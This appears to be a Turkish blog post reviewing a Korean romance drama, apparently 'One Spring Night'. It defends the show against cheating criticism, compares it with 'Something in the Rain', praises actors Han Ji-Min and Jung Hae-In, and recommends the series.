Öncelikle bu durumun aldatma olduğuna katılmıyorum. Eğer çok ısrar ediliyorsa da kabul edilebilir olduğunu savunurum. Uzun süreli ilişkilerde bir noktadan sonra tarafların ikisi de kendisini o alışkanlığın pençesine bırakabiliyor. Böyle olunca da içinde bulunduğu dururumu görmesi çok daha zor oluyor. Bunu fark etmesi için tetikleyici bir şey yaşaması gerekiyor. O alışkanlığın aslında onu mutsuz eden şey olduğunu kabul etmek çok kolay bir durum değil. Ayrıca da dizide anlatılan ilişkide Kwon Gi-Seok daha öncesinde ayrılmak istemiş ama o kadar alışılmış bir durum varmış ki ayrılamamışlar. Kızımız farkındalığını kucağına alıp ayrılmak isteyince ise, kıymete biniyor. Gurur meselesi haline geliyor. Ondan sonra vay efendim aldatmalı dizi pis kaka.
Bu kadar doğal bir süreci bu kadar abartmaları bana biraz manasız geldiği için bir miktar yükseldim. Buradaki konuya gelene kadar “Marriage contract” dizisinde böbrek için evlenmeye çalışılıyordu. Romance is a bonus book, Do do sol sol la la sol ve Something in the rain gibi dizilerde kendinden çok küçük erkeklere aşık kadınlar vardı. Forecasting love & weather dizisinde ise mevzu eş değiştirme tesadüfüne kadar gidiyordu. Bütün bu dizilerin çılgın bir hayran kitlesi var. Tepkiyse bunlara da tepki olmalıydı. Saydığım diziler ile ilgili yorumlarımı zaten yazmıştım, tekrar etmeyeceğim. Something in the rain dizisi ile bu dizi arasında çok fazla benzerlik bulduğumu eklemeliyim. İkisinin de başrolünün aynı erkek olması bir etken tabi ama iki kadın oyuncunun da aynı enerjiyi vermesi ikisinin de çok başarılı kadınlar olması da bir diğer etken. Sanırım bu diziyi daha çok sevdim ama ikisi de güzeldi.
Bana kalırsa dizi tam olarak sonbahar tadındaydı. Something in the rain’den farklı olarak karakterler yaşıttılar. Büyük kadın krizi yoktu. Her ne kadar oyuncu olarak aralarındaki yaş farklı diğer dizideki gibi olsa da karakterler yaşıt denildi, bize bir şey söylemek düşmez. Han Ji-Min bence şahane bir oyuncu. Çok kötü dayanamadığım dizisini de izledim, orada bile şahaneydi. Olumsuz söylenecek hiçbir şey yok. Jung Hae-In ise arkadaşlarımla aramızda “güzel seven çocuk” olarak biliniyor. Çok güzel seviyor. Rolüne öyle güzel giriyor, partnerine öyle güzel bakıyor ki… insan izlerken onun sevdiğini sevesi geliyor. Aman hiç üzülmesin istiyor. Bu dizide de bir sahnede kızımız ona sevdiğini söylediğinde ağlamaya başlaması şahane bir detaydı. Bütün o sevgiye ne kadar aç olduğunu daha önce ne kadar özlemini çekmiş olduğunu bütün çıplaklığı ile izleyiciye geçirdi.
Son olarak eski sevgili krizine de parmak basıp kapatıyorum. Bir insan bu kadar açık ve net bir şekilde reddedilmesine rağmen nasıl bu kadar yüzsüz olabilir aklım almadı. Hele ikisinin de babaları… Biz ayrıldık dedikçe düğün planı yaptılar. Tam cinnet geçirmelikdi. Ben diziyi beğendim. Farklı duygularla, karakterleri anlayarak, sakince izledim. Tavsiye ederim.
OST:
Rachael Yamagata - No Direction
Raven Melus
BAŞKA NELER VAR ?
FOTOĞRAFLAR
0 notes